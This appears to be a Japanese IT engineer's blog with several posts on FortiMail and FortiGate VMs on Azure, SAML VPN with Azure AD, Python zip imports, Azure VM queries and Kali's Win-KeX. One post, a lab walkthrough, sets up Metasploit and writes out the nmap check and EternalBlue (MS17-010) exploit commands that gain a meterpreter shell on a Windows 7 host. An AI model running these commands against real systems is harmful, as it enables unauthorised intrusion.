たれながし.info

とあるITエンジニアの備忘録

AzureにFortiMail-VM構築したけど、ライセンスが無いと何もできなかった件

AzureマーケットプレイスにFortiMail-VMがあったので構築してみました。
しかし、ライセンス認証しないと何もできませんでした。

はじめに

AzureマーケットプレイスにFortiMail-VMがあったので構築してみました。

VMware版のFortiMail-VMだと、一部機能の制限はあるけど(たしか)30日間は試用できるのですが、AzureのFortiMail-VMは試用期間切れの状態でほとんど操作ができませんでした(CUIから設定しようと思えばできるかもしれないけど…)。ライセンス購入してライセンス認証しないと使えないみたいです。
あと、2020年12月時点のFortiMailの最新がv6.4.3なのに、AzureマーケットプレイスのFortiMail-VMはv5.3.3/v5.3.9とかなり古くFortinetも力を入れてなさそうです。

とは言え、構築してみたので構築手順と仮想マシンのリソースを自分用にメモします。

構築手順

Azureポータル/マーケットプレイス

Azureポータルのマーケットプレイスで「FortiMail」を検索し、作成をクリックする。
f:id:tarenagashi_info:20201206011107p:plain:h240

作成をクリックする。
f:id:tarenagashi_info:20201206011123p:plain:h240

基本

仮想マシンの情報を設定する
※v5.3.3/v5.3.9しか選択できない
f:id:tarenagashi_info:20201206011135p:plain:h240

仮想ネットワーク/仮想マシンインスタンス設定

f:id:tarenagashi_info:20201206011155p:plain:h240

パブリックIPアドレス

Static/Dynamicを選択できます。
f:id:tarenagashi_info:20201206011208p:plain:h240

検証

f:id:tarenagashi_info:20201206011338p:plain:h240

デプロイ完了

f:id:tarenagashi_info:20201206011905p:plain

リソース

作成されたリソースを眺めます。
ディスクとNSG以外は特記事項はありません。
f:id:tarenagashi_info:20201206011940p:plain

ディスク

ディスクは2つあります。

用途 ディスク構成 パフォーマンスレベル
OS用 1 GiB (Premium SSD) P1 - 120 IOPS、25 Mbps
データ用(メールスプール、ログ) 1023 GiB (Premium SSD) P30 - 5000 IOPS、200 Mbps

NSG

受信はSSH/SMTP/HTTPS+αが開いてます。
f:id:tarenagashi_info:20201206012632p:plain

動作確認

Web管理画面

https://[パブリックIP]/adminで接続します。
f:id:tarenagashi_info:20201128030010p:plain

システムステータス

ライセンス切れ状態でメニューがほとんど表示されていません。
f:id:tarenagashi_info:20201128030038p:plain

FortiMail # get system status
Version:            FortiMail-VM-Azure v5.3,build634,170228 (5.3.9 GA)
Architecture:       64-bit
Virus-DB:           1.00234(2012-09-20 09:57)
VM Registration:    Invalid: License has been detected as invalid, please upload a new license.
VM License File:    Allowed CPU/Memory has been exceeded.
VM Resources:       2 CPU/1 allowed, 3953 MB RAM/2048 MB allowed, 1022 GB Disk/1024 GB allowed
AntiSpam-DB:        1.00001(2007-05-09 17:15)
Serial-Number:      FEVM00UNLICENSED
BIOS version:       n/a
Log disk:           Capacity 204 GB, Used 32 MB ( 0.02%), Free 204 GB
Mailbox disk:       Capacity 816 GB, Used 250 MB ( 0.03%) , Free 816 GB
Hostname:           FortiMail
Operation mode:     Gateway
HA configured mode: Off
HA effective mode:  Off
FIPS-CC status:     disabled
Strong-crypto:      disabled
Distribution:       International
Branch point:       634
Uptime:             0 days  0 hours  20 minutes
Last reboot:        Fri Nov 27 08:05:08 PST 2020
System time:        Fri Nov 27 08:25:37 PST 2020

AVエンジン/シグネチャバージョン

f:id:tarenagashi_info:20201128030121p:plain

FortiMail # diag autoupdate versions
System Time:  2020-11-27 08:32:47 PST (Uptime: 0d 0h 27m)
AV Engine
---------
Version: 5.00234
Contract Expiry Date: n/a
Last Updated using manual update on Fri Apr  1 11:40:00 2016
Last Update Attempt: n/a
Result: Updates Installed

Virus Definitions
---------
Version: 1.00234
Contract Expiry Date: n/a
Last Updated using manual update on Thu Sep 20 10:57:00 2012
Last Update Attempt: n/a
Result: Updates Installed

Extended set
---------
Version: 1.00001
Contract Expiry Date: n/a
Last Updated using manual update on Mon Jan  1 00:00:00 2001
Last Update Attempt: n/a
Result: Updates Installed

AS Rule Set
---------
Version: 1.00001
Contract Expiry Date: n/a
Last Updated using manual update on Wed May  9 17:15:00 2007
Last Update Attempt: n/a
Result: Updates Installed
 heuristic init flag 1
antispam obj 0 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 1 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 2 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 3 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 4 version 4.00001(2011-11-29 02:22) cardinals 1
antispam obj 5 version 4.00001(2011-11-29 02:22) cardinals 1
heuristic rule release date 1.1 2007-5-9(17:15)
heuristic rule version 2 decision tree version 21

FDS Address
---------

ハードウェア構成

CPU、メモリ、ディスクをコマンドで出力する。

CPU

FortiMail # diag hardware sysinfo cpu
System Time:  2020-11-27 08:43:14 PST (Uptime: 0d 0h 38m)
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 85
model name      : Intel(R) Xeon(R) Platinum 8168 CPU @ 2.70GHz
stepping        : 4
microcode       : 0xffffffff
cpu MHz         : 2693.635
cache size      : 33792 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 1
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 21
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f rdseed adx smap clflushopt avx512cd xsaveopt xsavec
bugs            :
bogomips        : 5387.27
clflush size    : 64
cache_alignment : 64
address sizes   : 46 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 85
model name      : Intel(R) Xeon(R) Platinum 8168 CPU @ 2.70GHz
stepping        : 4
microcode       : 0xffffffff
cpu MHz         : 2693.635
cache size      : 33792 KB
physical id     : 0
siblings        : 2
core id         : 0
cpu cores       : 1
apicid          : 1
initial apicid  : 1
fpu             : yes
fpu_exception   : yes
cpuid level     : 21
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology eagerfpu pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi ept vpid fsgsbase bmi1 hle avx2 smep bmi2 erms invpcid rtm mpx avx512f rdseed adx smap clflushopt avx512cd xsaveopt xsavec
bugs            :
bogomips        : 5387.27
clflush size    : 64
cache_alignment : 64
address sizes   : 46 bits physical, 48 bits virtual
power management:

メモリ

FortiMail # diag hardware sysinfo memory
System Time:  2020-11-27 08:44:51 PST (Uptime: 0d 0h 39m)
MemTotal:        4048764 kB
MemFree:         3220820 kB
MemAvailable:    3372900 kB
Buffers:           19512 kB
Cached:           454124 kB
SwapCached:            0 kB
Active:           469400 kB
Inactive:         248612 kB
Active(anon):     349556 kB
Inactive(anon):    94852 kB
Active(file):     119844 kB
Inactive(file):   153760 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:       2093052 kB
SwapFree:        2093052 kB
Dirty:                 8 kB
Writeback:             0 kB
AnonPages:        244364 kB
Mapped:            88844 kB
Shmem:            200044 kB
Slab:              30236 kB
SReclaimable:      12916 kB
SUnreclaim:        17320 kB
KernelStack:        3920 kB
PageTables:        25336 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:     4117432 kB
Committed_AS:    1793880 kB
VmallocTotal:   34359738367 kB
VmallocUsed:       35556 kB
VmallocChunk:   34359663339 kB
DirectMap4k:       12224 kB
DirectMap2M:     1036288 kB
DirectMap1G:     5242880 kB

ディスク

FortiMail # diag hardware sysinfo df
System Time:  2020-11-27 08:45:09 PST (Uptime: 0d 0h 40m)
Filesystem            Size  Used Avail Use% Mounted on
none                     0     0     0   -  /proc
none                     0     0     0   -  /sys
none                     0     0     0   -  /dev/pts
none                   10M  548K  9.5M   6% /dev/shm
none                  100M  2.2M   98M   3% /dev/cmdb
/dev/sda1             277M   85M  192M  31% /data
/dev/vga/vga2         205G   33M  205G   1% /var/log
/dev/vga/vga3         817G  250M  817G   1% /var/spool

Pythonでzipからパッケージをimportする方法

Pythonでzipファイルに圧縮したパッケージからimportする方法です。

はじめに

「パッケージ zip import」でググると、以前はすぐに見つかったのですが、最近はググっても全然見つからなくて困るので自分用にメモする。
ちなみに、私はパッケージ/モジュールの違いがよく分かってないです。

動作確認環境

  • Windows10 64bit
  • Python3.9

基本的にはOS関係なく動くが、パッケージにOSプラットフォームに依存するファイル(バイナリファイルなど)が含まれる場合、zipファイルを作った環境と実行する環境でOSプラットフォームが異なると動かなかったりする(らしい)。

実施

例として、zipから「beautifulsoup4」をインポートしてみる。

zipファイルの作成

・フォルダを作成
md library

・パッケージをインストール
pip3 install beautifulsoup4 -t library

・パッケージをzip化
powershell Compress-Archive -Path library\* -DestinationPath library.zip

・zipファイルの中身を確認
explorer library.zip

パッケージのimport

下記をソースコードの先頭に書くと「library.zip」内のパッケージをimportしてくれる。

# -*- coding: utf-8 -*-
import os, sys

basepath = os.path.split(os.path.realpath(__file__))[0]
sys.path.insert(0, os.path.join(basepath, 'library.zip'))

import requests
from bs4 import BeautifulSoup

Azure仮想マシンのプロパティをPowerShellとAzureCLIで確認する

Azure仮想マシンのプロパティをPowerShell/AzureCLIで確認してみます。

PowerShellの場合

インストール

モジュールのインストールが必要です。
PowerShell用のAzureモジュールは2種類あります。

  1. Azモジュール:新しいモジュール(2018/12リリース)
  2. AzureRMモジュール:旧モジュール

新しい方「Azモジュール」を使うのでインストールします。

Install-Module -Name Az -AllowClobber

VMの確認

「Connect-AzAccount」でAzureにログインし、「Get-AzVM」で仮想マシンを確認します。

<参考>
Get-AzVM (Az.Compute) | Microsoft Docs

> Connect-AzAccount
> Get-AzVM -ResourceGroupName [Resource-Group-Name] -Name [VM-Name]

「-ResourceGroupName 」や「-Name」で絞り混みができます。


実際に実行してみます。

> Get-AzVM -ResourceGroupName CENTOS -Name CentOS

ResourceGroupName  : CENTOS
Id                 : /subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/CENTOS/providers/Microsoft.Comp
ute/virtualMachines/CentOS
VmId               : xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Name               : CentOS
Type               : Microsoft.Compute/virtualMachines
Location           : japaneast
Tags               : {}
DiagnosticsProfile : {BootDiagnostics}
HardwareProfile    : {VmSize}
NetworkProfile     : {NetworkInterfaces}
OSProfile          : {ComputerName, AdminUsername, LinuxConfiguration, Secrets, AllowExtensionOperations, RequireGuestP
rovisionSignal}
Plan               : {Name, Publisher, Product}
ProvisioningState  : Succeeded
StorageProfile     : {ImageReference, OsDisk, DataDisks}
Zones              : {1}

Azure CLIの場合

インストール

Azure CLIを使用するには、インストールが必要です。
Install the Azure CLI | Microsoft Docs

VMの確認

「az login」でAzureにログインして、「az vm show」で仮想マシンを確認する。

「-o」でフォーマット変更可能。例)-o tsv ※デフォルトはjson形式
「--query」でプロパティの限定可能。例)--query vmId

> az login
> az vm show -g [Resource-Group-Name] -n [VM-Name]

実際に実行してみます。

 > az vm show -g fortigate_group -n fortigate
{
  "additionalCapabilities": null,
  "availabilitySet": null,
  "billingProfile": null,
  "diagnosticsProfile": {
    "bootDiagnostics": {
      "enabled": true,
      "storageUri": null
    }
  },
  "evictionPolicy": null,
  "extensionsTimeBudget": null,
  "hardwareProfile": {
    "vmSize": "Standard_B2s"
  },
  "host": null,
  "hostGroup": null,
  "id": "/subscriptions/xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Compute/virtualMachines/fortigate",
  "identity": null,
  "instanceView": null,
  "licenseType": null,
  "location": "japaneast",
  "name": "fortigate",
  "networkProfile": {
    "networkInterfaces": [
      {
        "id": "/subscriptions/xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Network/networkInterfaces/fortigate829",
        "primary": null,
        "resourceGroup": "fortigate_group"
      }
    ]
  },
  "osProfile": {
    "adminPassword": null,
    "adminUsername": "xxxxxxxx",
    "allowExtensionOperations": true,
    "computerName": "fortigate",
    "customData": null,
    "linuxConfiguration": {
      "disablePasswordAuthentication": false,
      "patchSettings": {
        "patchMode": "ImageDefault"
      },
      "provisionVmAgent": true,
      "ssh": null
    },
    "requireGuestProvisionSignal": true,
    "secrets": [],
    "windowsConfiguration": null
  },
  "plan": {
    "name": "fortinet_fg-vm_payg_20190624",
    "product": "fortinet_fortigate-vm_v5",
    "promotionCode": null,
    "publisher": "fortinet"
  },
  "priority": null,
  "provisioningState": "Succeeded",
  "proximityPlacementGroup": null,
  "resourceGroup": "fortigate_group",
  "resources": null,
  "securityProfile": null,
  "storageProfile": {
    "dataDisks": [],
    "imageReference": {
      "exactVersion": "6.4.3",
      "id": null,
      "offer": "fortinet_fortigate-vm_v5",
      "publisher": "fortinet",
      "sku": "fortinet_fg-vm_payg_20190624",
      "version": "latest"
    },
    "osDisk": {
      "caching": "ReadWrite",
      "createOption": "FromImage",
      "diffDiskSettings": null,
      "diskSizeGb": 2,
      "encryptionSettings": null,
      "image": null,
      "managedDisk": {
        "diskEncryptionSet": null,
        "id": "/subscriptions/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/resourceGroups/fortigate_group/providers/Microsoft.Compute/disks/fortigate_OsDisk_1_b4e74c564dbe4b51886d170a1102bbdf",
        "resourceGroup": "fortigate_group",
        "storageAccountType": "Premium_LRS"
      },
      "name": "fortigate_OsDisk_1_b4e74c564dbe4b51886d170a1102bbdf",
      "osType": "Linux",
      "vhd": null,
      "writeAcceleratorEnabled": null
    }
  },
  "tags": null,
  "type": "Microsoft.Compute/virtualMachines",
  "virtualMachineScaleSet": null,
  "vmId": "b0e611ec-b692-448e-96c8-08452eb05904",
  "zones": [
    "1"
  ]
}

Metasploitフレームワーク初期設定@Kali Linux

Kali LinuxのMetasploitフレームワーク初期設定メモです。

公式ドキュメント

www.kali.org

環境

初期設定

CUIの場合

・PostGreSQLの起動
$ sudo systemctl start postgresql

・PostGreSQLの起動確認
$ sudo ss -atnp | grep 5432
LISTEN 0      244        127.0.0.1:5432      0.0.0.0:*     users:(("postgres",pid=1292,fd=6))
LISTEN 0      244            [::1]:5432         [::]:*     users:(("postgres",pid=1292,fd=5))

・初期設定の実施
$ sudo msfdb init

・Metasploitフレームワークの起動
$ msfconsole

・DBステータスの確認
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

GUIの場合

Menuから起動するとDB起動&初期設定されて起動する
f:id:tarenagashi_info:20201202210010p:plain

動作確認

EternalBlue(MS17-010/CVE-2017-0143)の脆弱性があるWindows7を攻撃してみる。

脆弱性の有無確認

$ nmap -p445 --script smb-vuln-ms17-010 192.168.0.5
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-03 04:38 JST
Nmap scan report for 192.168.0.5
Host is up (0.00016s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

Exploit実行

Exploitが成功するとMetasploitと攻撃対象がmeterpreter で繋がる。

$ msfconsole

msf6 > search ms17_010

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.5

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

meterpreter > pwd
C:\Windows\system32

FortiGateのSSL-VPNにAzureADのSAML認証で接続する

FortiGateのSSL-VPNSAML認証します。IdpはAzureADを使います。

f:id:tarenagashi_info:20201129042523p:plain

はじめに

目的

FortiGateのSSL-VPNSAML認証に対応しているので、AzureADのSAML認証で接続してみます。
FortiGateはv6.2.0から、FortiClientはv6.4.0からSSL-VPNSAML認証に対応したらしいです。(ちなみに、FortiGateのWeb管理画面のSAML認証もv6.2.0から対応)

検証構成

f:id:tarenagashi_info:20201129042523p:plain

  • FortiGate:Azure上に構築したVM版のv6.4.3
  • AzureAD:デフォルトの「onmicrosoft.com」ドメイン
  • クライアント:Windows10 Home + FortiClientv6.4.1

※オンプレのFortiGateを持っていないので、Azure上に構築したVM版のFortiGateを使っています。
 AzureへのFortiGate-VMの構築方法は「AzureにFortiGate-VM構築してみた」を参照してください。

AzureADの設定

エンタープライズアプリケーションの追加

AzureADへ「エンタープライズアプリケーション」を追加します。

AzureポータルでAzureADを開き、エンタープライズアプリケーションをクリック
f:id:tarenagashi_info:20201129045604p:plain

新しいアプリケーションをクリック
f:id:tarenagashi_info:20201129045643p:plain

「fortigate」を検索し「FortiGate SSL VPN」「作成」をクリック
f:id:tarenagashi_info:20201129045733p:plain

SAMLの設定

AzureADに追加したSaaSアプリにSAMLの設定をします。

シングルサインオンの設定をクリック
f:id:tarenagashi_info:20201129052333p:plain

SAMLをクリック
f:id:tarenagashi_info:20201129052413p:plain

基本的なSAML構成を編集する
f:id:tarenagashi_info:20201129052529p:plain

項目 URL
[識別子] https://[FQDN]/remote/saml/metadata
[応答URL] https://[FQDN]/remote/saml/login
[サインオンURL] https://[FQDN]/remote/login
[ログアウトURL] https://[FQDN]/remote/saml/logout

※[FQDN]は、SSL-VPNで使うFortiGateのFQDN or グローバルIP
 SSL-VPNに443以外を使う場合は適宜ポート番号を付けてください

ユーザー属性とクレームの「編集」をクリック
f:id:tarenagashi_info:20201129052624p:plain

「新しいクレームの追加」から「username」を追加する
f:id:tarenagashi_info:20201129054541p:plain

名前 ソース属性
username user.userprincipalname

既存設定の「users.group[SecurityGroup]」をクリックする
「グループ要求の名前をカスタマイズする」をチェックし名前を「group」に設定し「保存」する
f:id:tarenagashi_info:20201129054714p:plain

「username」「group」があることを確認します。
この2つ以外は不要なので消しても良いみたいです。
f:id:tarenagashi_info:20201129055446p:plain

証明書 (Base64)をダウンロードする
「FortiGate SSL VPNのセットアップ」に表示される3つのURLをメモする
f:id:tarenagashi_info:20201129055700p:plain

ユーザーの作成とアプリの割り当て

接続に使用するユーザを作成し、アプリを割り当てます。
グループに対してアプリを割り当てることも可能ですが、AzureAD Premium(有料ライセンス)が必要になります。

ユーザーの作成

AzureADにユーザーを作成する
f:id:tarenagashi_info:20201129062742p:plain

アプリの割り当て

Azureポータルで「エンタープライズアプリケーション」の「FortiGate SSL VPN」をクリック
f:id:tarenagashi_info:20201129062050p:plain

「ユーザーとグループの割り当て」をクリックする
f:id:tarenagashi_info:20201129062241p:plain

「ユーザーの追加」から追加する
f:id:tarenagashi_info:20201129062344p:plain

セキュリティグループの作成

ユーザー認証に使用するセキュリティグループ「FortiGateAccess」を作成し、ユーザーを追加します。
作成したグループの「オブジェクト ID 」を後ほどFortiGateへ設定します。

AzureADでセキュリティグループ「FortiGateAccess」を作成する
FortiGateの設定に使うので「オブジェクトID」をメモしておきます。
f:id:tarenagashi_info:20201129062935p:plain

作成したグループにユーザーを追加する
f:id:tarenagashi_info:20201129063020p:plain

FortiGateの設定

証明書のインポート

システム > 証明書 > インポート > リモートから「Base64 SAML 証明書」をインポートする
証明書の名前「REMOTE_Cert_1」をメモしておきます。
f:id:tarenagashi_info:20201129063517p:plain

SAMLの設定

FortiGateにSSH接続し、下記コマンドを実行します。

config user saml
 edit azure
  set entity-id [SP 識別子]
  set single-sign-on-url [SP 応答URL]
  set single-logout-url [SP ログアウトURL]
  set idp-single-sign-on-url [IdP ログインURL]
  set idp-entity-id [IdP AzureAD識別子]
  set idp-single-logout-url [IdP ログアウトURL]
  set idp-cert [Base64 SAML 証明書名]
  set user-name username
  set group-name group
end

[SP...][IdP...]は「AzureADの設定」でメモしたものに置き換えます。

注意点
[IdP ログアウトURL]は「https://login.microsoftonline.com/common/wsfederation?wa=wsignout1.0」となり、「?」を含みます。「?」はFortiGateで特別な文字として扱われるので、そのままでは入力できません。よって、「?」の直前まで入力した後、一度「Ctrl+V」を押します。すると「?」を入力できます。
f:id:tarenagashi_info:20201129064031p:plain

グループ設定

AzureADで作成したグループ「FortiGateAccess」をFortiGateに設定します。

config user group
 edit FortiGateAccess
  set member azure
  config match
   edit 1
    set server-name azure
    set group-name [オブジェクトID]
   next
  end
 next
end

SSL-VPN設定

SSL-VPNを443で提供したいので、Web管理画面のポート番号を10443に変えます。
f:id:tarenagashi_info:20201129064156p:plain

SSL-VPNの設定を行います。 ※とりあえずSSL-VPNが繋がる設定だけする
f:id:tarenagashi_info:20201129064312p:plain
f:id:tarenagashi_info:20201129064323p:plain

ポリシーを作成します。
f:id:tarenagashi_info:20201129064408p:plain

動作確認

SAML認証の動作確認

SSL-VPNを許可したユーザーでアプリパネルにアクセスする
「FortiGate SSL VPN」をクリックする
f:id:tarenagashi_info:20201129064832p:plain

FortiGateの「SSL-VPN Portal」にアクセスできたら成功です。
f:id:tarenagashi_info:20201129065021p:plain

FortiClientでの動作確認

公式サイトから、最新のFortiClientVPNをDLしてインストールします。
f:id:tarenagashi_info:20201129044951p:plain

起動し、VPN接続設定をします。
「Enable Single Sign On(SSO) for VPN Tunnel」をチェックします。
f:id:tarenagashi_info:20201129044129p:plain

VPNに接続します。
f:id:tarenagashi_info:20201129044143p:plain

証明書のエラーが表示されるので「OK」します。
f:id:tarenagashi_info:20201129044334p:plain

AzureADの認証画面が表示されるのでサインインします。
f:id:tarenagashi_info:20201129044441p:plain

SSL-VPN接続完了です。
f:id:tarenagashi_info:20201129044518p:plain

※接続途中にステータスが40%程度で停止した場合、FortiClientに隠れて証明書の確認ダイアログが表示されている場合があります。その場合、ダイアログを前面に表示し「OK」を押します。(初回のみ表示されると思われます。)

AzureにFortiGate-VM構築してみた

AzureマーケットプレイスにあるFortiGate-VMがどんなものか構築してみました。

AzureマーケットプレイスのFortiGate

Azureマーケットプレイスで「fortigate」と検索すると、4つヒットしました。

4つの内、2つがシングル構成のFortiGate-VMになります。

  • 「FortiGate NGFW - Single VM with ARM Template」 ← こっちを使う
  • 「Fortinet FortiGate Next-Generation Firewall

OS用/ログ用でディスクが分かれていたり、内部/外部用にネットワークIFが2つあったりと使いやすい構成になっているので「FortiGate NGFW - Single VM with ARM Template」を使います。

(「Fortinet FortiGate Next-Generation Firewall」は、ディスクとネットワークIFがそれぞれ1つでしたが、構築時や構築後に追加できると思います。)

ちなみに、「FortiGate NGFW for Azure LB HA with ARM template」はAzureロードバランサーを使ったHA構成、
「FortiGate SSL VPN」はFortiGateへのSSL-VPN接続でSAML認証するためのAzureADアプリになります。

構築

では、構築していきます。

Azureポータル/マーケットプレイス

Azureポータルマーケットプレイスでforigateを検索し
「FortiGate NGFW - Single VM with ARM Template」を選択する。

作成をクリックする。
30日無料とあるので、PAYG(従量課金)で構築します。

基本

仮想マシン名やリージョンを選択します。

LicenseでOSバージョン、ライセンスタイプを選択できます。
今回は「PAYG 6.4.3」を選択します。
PAYGは従量課金、BYOLは購入したライセンスファイルを仮想マシンに適用する形態です。

仮想ネットワーク/インタンスタイプ


パブリックIPアドレス


確認および作成


デプロイ完了

デプロイ完了に掛かった時間は5分程度でした。

リソース確認

作成されたリソースを確認します。

可用性セット


NSG

受信も送信も全許可になっています。

ルートテーブル


ネットワークIF

Port1(外部)/Port2(内部)の2つ作成されます。

ディスク

OS用/ログ用の2つ作成されます。

用途 ディスク構成 パフォーマンスレベル
OS 2 GiB (Premium SSD) P1 - 120 IOPS、25 Mbps
ログ 30 GiB (Premium SSD) P4 - 120 IOPS、25 Mbps


仮想ネットワーク


パブリックIPアドレス

SKUは「Basic」でした。

動作確認

Web管理画面

https://[グローバルIP]に接続する。

システムステータス


FortiGate # get system status
Version: FortiGate-VM64-AZURE v6.4.3,build1778,201021 (GA)
Virus-DB: 1.00000(2018-04-09 18:07)
Extended DB: 1.00000(2018-04-09 18:07)
Extreme DB: 1.00000(2018-04-09 18:07)
IPS-DB: 6.00741(2015-12-01 02:30)
IPS-ETDB: 6.00741(2015-12-01 02:30)
APP-DB: 6.00741(2015-12-01 02:30)
INDUSTRIAL-DB: 6.00741(2015-12-01 02:30)
Serial-Number: FGTAZROTNTBQZ7B4
IPS Malicious URL Database: 1.00001(2015-01-01 01:01)
License Status: Valid
VM Resources: 4 CPU, 8005 MB RAM
VM Instance ID: b411d42b-474b-4862-a62f-aa9df9dc20c9
Log hard disk: Available
Hostname: FortiGate
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 1
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 1778
Release Version Information: GA
FortiOS x86-64: Yes
System time: Fri Nov 27 03:47:37 2020

ディスク構成


FortiGate # get hardware status
Model name: FortiGate-VM64-AZURE
ASIC version: not available
CPU: Intel(R) Xeon(R) Platinum 8171M CPU @ 2.60GHz
Number of CPUs: 4
RAM: 8005 MB
Compact Flash: 2056 MB /dev/sda
Hard disk: 30720 MB /dev/sdc

ライセンス状態

ライセンス認証が完了していて、ステータスも「valid」です。

期限は「expiration: Fri Jan 1 2021」となっています。
本日は2020/11/27なので、残り35日です。

FortiGate # get system fortiguard
fortiguard-anycast  : enable
fortiguard-anycast-source: fortinet
protocol            : https
port                : 443
load-balance-servers: 1
auto-join-forticloud: disable
update-server-location: usa
sandbox-region      :
antispam-force-off  : disable
antispam-cache      : enable
antispam-cache-ttl  : 1800
antispam-cache-mpercent: 2
antispam-license    : Contract
antispam-expiration : Fri Jan  1 2021
antispam-timeout    : 7
outbreak-prevention-force-off: disable
outbreak-prevention-cache: enable
outbreak-prevention-cache-ttl: 300
outbreak-prevention-cache-mpercent: 2
outbreak-prevention-license: Trial
outbreak-prevention-expiration: Fri Jan  1 2021
outbreak-prevention-timeout: 7
webfilter-force-off : disable
webfilter-cache     : enable
webfilter-cache-ttl : 3600
webfilter-license   : Contract
webfilter-expiration: Fri Jan  1 2021
webfilter-timeout   : 15
anycast-sdns-server-ip: 0.0.0.0
anycast-sdns-server-port: 853
sdns-options        :
source-ip           : 0.0.0.0
source-ip6          : ::
proxy-server-ip     : 0.0.0.0
proxy-server-port   : 0
proxy-username      :
proxy-password      : *
ddns-server-ip      : 0.0.0.0
ddns-server-port    : 443
interface-select-method: auto

ネットワークIF


FortiGate # get system interface physical
== [onboard]
        ==[port1]
                mode: static
                ip: 10.0.0.4 255.255.255.0
                ipv6: ::/0
                status: up
                speed: 50000Mbps (Duplex: full)
        ==[port2]
                mode: static
                ip: 10.0.1.4 255.255.255.0
                ipv6: ::/0
                status: up
                speed: 50000Mbps (Duplex: full)

Static Routes


FortiGate # get router info routing-table static
Routing table for VRF=0
S*      0.0.0.0/0 [10/0] via 10.0.0.1, port1
S       10.0.0.0/16 [10/0] via 10.0.1.1, port2
S       168.63.129.16/32 [10/0] via 10.0.0.1, port1

WSL2でWin-KeX(Kali LinuxのGUI環境)を使ってみた

Kali Linuxに、Win-KeXという機能が実装されたので試してみました。

Win-KeXとは

WSL2でKali LinuxGUIが使用できる機能です。
Kali Linux 2020.3で実装されました(2020年8月リリース)。

導入手順

WSL2の導入

事前にWSL2を導入しておきます。

Kali Linuxのインストール

MicrosoftストアからKali Linuxをインストールする
f:id:tarenagashi_info:20201123043945p:plain:h240

Kali Linuxの起動

インストールが完了したら、「起動」をクリックする
f:id:tarenagashi_info:20201123044035p:plain:h240

コンソールが開くので、ユーザを作成する
f:id:tarenagashi_info:20201123044133p:plain

OSアップグレード

sudo apt update
sudo apt upgrade

dbus-x11のインストール

sudo apt -y install dbus-x11

KeXのインストール

sudo apt -y install kali-win-kex 


インストール中にキーボード設定画面が開くので、「Japanese(OADG 109A)」を選択する
f:id:tarenagashi_info:20201123034712p:plain:w240f:id:tarenagashi_info:20201123034727p:plain:w240

KeXの起動

初回起動時はVNCのパスワードを設定します。「view-only password」は設定しなくても問題ないです。

$ kex -m
Password:
Verify:
Would you like to enter a view-only password (y/n)? n

Winモード(Windowsモード)

起動したKeXにtigervncで接続します。

kex -m
kex --win -m

「--win」オプションを省略すると、Winモードで起動する
「-m」を省略した場合、全画面表示になる
f:id:tarenagashi_info:20201123043628p:plain:h240

SLモード(シームレスモード)

KeXがシームレスに起動します。Kali Linuxツールバーが画面上部に表示されます。

kex --sl

f:id:tarenagashi_info:20201123043731p:plain:h240

Enhanced Sessionモード

起動したKeXにRDPで接続します。

kex --esm

f:id:tarenagashi_info:20201123043716p:plain:h240

音声サポート

「-s」を付けると音声がサポートされます。

kex -m -s
kex --sl -s
kex --esm -s

KeXの終了

「kex --stop」「kex--kill」で終了します。
KeXサーバが起動しているときに「kex --stop」で終了できます。KeXサーバが起動しているかは「kex --status」で確認します。

「kex --stop」で終了

$ kex --status

Win-KeX server sessions:

X DISPLAY #     RFB PORT #      PROCESS ID
:1              5901            1108

